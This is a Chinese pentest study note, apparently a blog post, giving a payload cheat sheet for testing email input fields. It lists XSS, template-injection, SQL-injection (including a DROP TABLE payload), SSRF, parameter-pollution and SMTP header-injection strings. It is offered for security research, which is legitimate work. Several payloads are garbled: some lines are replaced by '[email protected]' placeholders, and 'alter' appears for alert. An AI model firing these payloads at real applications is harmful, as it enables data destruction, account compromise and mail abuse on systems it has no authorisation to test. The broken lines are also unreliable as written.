Sqli学习笔记系列-遇到与邮箱相关的功能的测试思路(payload)

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

主要测试思路

• xss:

test+(<script>alter(0)</script>)@example.com
[email protected](<script>alter(0)</script>).com
"<script>alter(0)</script>"@example.com

• 模板注入:

"<%= 7 * 7>"@example.com
test+(${{7*7}})@example.com

• SQLi

"'OR1=1--'"@example.com
"mail);DROP TABLE users;--"@example.com

• SSRF

[email protected]
[email protected][127.0.0.1]

• 参数污染

victim&[email protected]

• Header注入

"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"[email protected]>\r\nRCPT TO:<victim+"@test.com